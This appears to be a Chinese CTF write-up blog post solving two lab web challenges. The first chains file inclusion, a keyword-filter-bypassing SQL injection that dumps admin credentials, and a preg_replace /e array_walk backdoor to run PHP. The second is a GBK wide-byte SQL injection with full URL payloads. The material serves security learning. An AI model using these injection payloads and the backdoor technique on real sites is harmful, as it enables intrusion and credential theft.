菜鸟慢慢爬行-----web(6)

综合(文件包含,sql注入,回调函数,preg_replace修饰符/e常用后门)

在cms说明中可以得到:
config.php:存放数据库信息
index.php:主页
passencode.php:加密算法
say.php:用于接收和处理用户留言请求
admin表结构:
create table admin(id int ,username text,userpass text)

并且可以观察到cms说明的网址为:

http://cms.nuptzj.cn/about.php?file=sm.txt

那么我们可以由文件包含得出到以上得到的php源码(config.php无法得到)

so.php

 <?php
		 if($_SERVER['HTTP_USER_AGENT']!="Xlcteam Browser")
		 { echo '万恶滴黑阔,本功能只有用本公司开发的浏览器才可以用喔~'; 
	 exit();
	 }
	 $id=$_POST['soid'];
	 include 'config.php';
	 include 'antiinject.php'; 
	 include 'antixss.php';
	 $id=antiinject($id);//将id里面的常用注入字符过滤
	 $con = mysql_connect($db_address,$db_user,$db_pass) or die("不能连接到数据库!!".mysql_error()); 
	 mysql_select_db($db_name,$con);
	 $id=mysql_real_escape_string($id);
	 $result=mysql_query("SELECT * FROM `message` WHERE display=1 AND id=$id");
	 $rs=mysql_fetch_array($result);
	 echo htmlspecialchars($rs['nice']).':<br />&nbsp;&nbsp;&nbsp;&nbsp;'.antixss($rs['say']).'<br />'; 
	 mysql_free_result($result);
	 mysql_free_result($file);
	 mysql_close($con); 
	 ?>

这个很好入手,首先是抓包修改user-agent为:Xlcteam Browser
之后进行sql注入,用之前同样的方法获取antiinject.php的源码

 <?php
		 function antiinject($content)
		 {
			 $keyword=array("select","union","and","from",' ',"'",";",'"',"char","or","count","master","name","pass","admin","+","-","order","="); 
			 $info=strtolower($content);
			 for($i=0;$i<=count($keyword);$i++)
			 {
				 $info=str_replace($keyword[$i], '',$info);
				 }
				 return $info;
				 } 
				 ?>

可以看见sql的过滤部分,但是空格可以使用/**/来替换,其余过滤参数可使用双写来绕过,也可以使用已知被过滤字符来绕过
例如:union可以写成uniounionn或者un=ion
payload:soid=0/**/uniounionn/**/selecselectt/**/1,2,3,4
(至于为什么是四个字段,试出来的)
在这里插入图片描述
爆库:

soid=0/**/uniounionn/**/selecselectt/**/1,database(),3,4

这样下去到了爆字段的时候,就发现不能继续了,因为=无法过滤
想起来之前cms说明信息里面给过admin这个表的字段信息
因此:

soid=0/**/uniounionn/**/selecselectt/**/1,group_concat(usernanameme),3,4/**/frfromom/**/adadminmin

以此类推爆出id,username,userpass;
ascii码解密userpass:102 117 99 107 114 117 110 116 117
得到:
userpass:fuckruntu
username:admin
id:1

继续:
在about.php的源码里面可以看见:

 <?php 
				 $file=$_GET['file'];
				 if($file=="" || strstr($file,'config.php'))
				 { 
			 echo "file参数不能为空!"; 
			 exit(); 
			 }
			 else
			 {
				 $cut=strchr($file,"loginxlcteam");
				 if($cut==false)
				 {
					 $data=file_get_contents($file);
					 $date=htmlspecialchars($data);
					 echo $date; 
					 }
					 else
					 {
						 echo "<script>alert('敏感目录,禁止查看!但是。。。')</script>";
						 } 
						 }
						 
						 ?>

里面有一个:loginxlcteam,像是某个登录界面
访问:http://cms.nuptzj.cn/loginxlcteam/
用账号密码登录
在这里插入图片描述
这里涉及到回调函数
首先登录进去之后告诉了我们小马的文件名,用之前的file参数来查看
获得:

 <?php 
						 $e = $_REQUEST['www']; 
						 $arr = array($_POST['wtf'] => '|.*|e',);
						 array_walk($arr, $e, '');
						 ?>

这里的array_walk($arr, e , ′ ′ ) 是 一 个 回 调 函 数 , 这 里 的 e, '')是一个回调函数,这里的 e,)$e参数传递的是一个函数,preg_replace 就是函数 被 $e 进行获取 然后当作参数进行传入

函数介绍:
array_walk(array,myfunction,userdata…)

<?php 
function myfunction($value,$key,$p)
 {
  echo "$key $p $value<br>"; 
 }
  $a=array("a"=>"red","b"=>"green","c"=>"blue");
  array_walk($a,"myfunction","has the value");
    ?>

 运行结果: 
 a has the value red 
 b has the value green 
 c has the value blue

而wtf数组是**|.*|e**,这里要了解preg_replace危险的/e修饰符(一句话后门常用)
语法:preg_replace ( $pattern , $replacement , $subject)
修正符/e使 preg_replace() 将 replacement 参数当作 PHP 代码
传递preg_replace给www,这样array中的值就是第一个参数,键就是第二个参数,正好可以利用preg_replace的漏洞,然后会执行$_POST[‘wtf’]
因此:

 http://cms.nuptzj.cn/xlcteam.php?www=preg_replace
 post数据:wtf=print_r(scandir('.'));

scandir是列出 规定目录中的文件和目录;
得到:在这里插入图片描述
乱码那里是:恭喜你获得flag2.txt
使用file参数读取:

http://cms.nuptzj.cn/about.php?file=恭喜你获得flag2.txt

得到flag

GBK Injection(sql宽字节注入)

首先:
当id=1时,返回:
在这里插入图片描述
当id=1’时,返回:
在这里插入图片描述
可见,后台过滤了’,使得我们无法进行sql注入;
那么现在我们只有两种方式:

1.想办法给\前面再加一个\,变成\’,这样\被转义了,'逃出了限制
2.想办法把\弄没有

对于这道题来说,加\使得\被转义是不现实的;
因此,尝试用第二种方法,这里就要用到宽字节注入:
首先,宽字节的产生是因为GBK编码:
GBK是多字节编码,他认为两个字节代表一个汉字,所以%df和后面的\也就是%5c变成了一个汉字“運”,而’逃逸了出来。
如下:
在这里插入图片描述
因为两个字节表示一个汉字,所以如果使用%df%df’ 就能让两个%df变成一个哌字
在这里插入图片描述
使用%df’会出现报错,所以能够进行注入了
payload:

http://chinalover.sinaapp.com/SQL-GBK/index.php?id=0%df%27%20%20union%20select%201,database()%20%20--+
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=0%df%27%20%20union%20select%201,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()%20%20--+
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=0%df%27%20%20union%20select%201,group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=0x67626b73716c69%20%20--+
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=0%df%27%20%20union%20select%201,flag%20from%20gbksqli--+
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值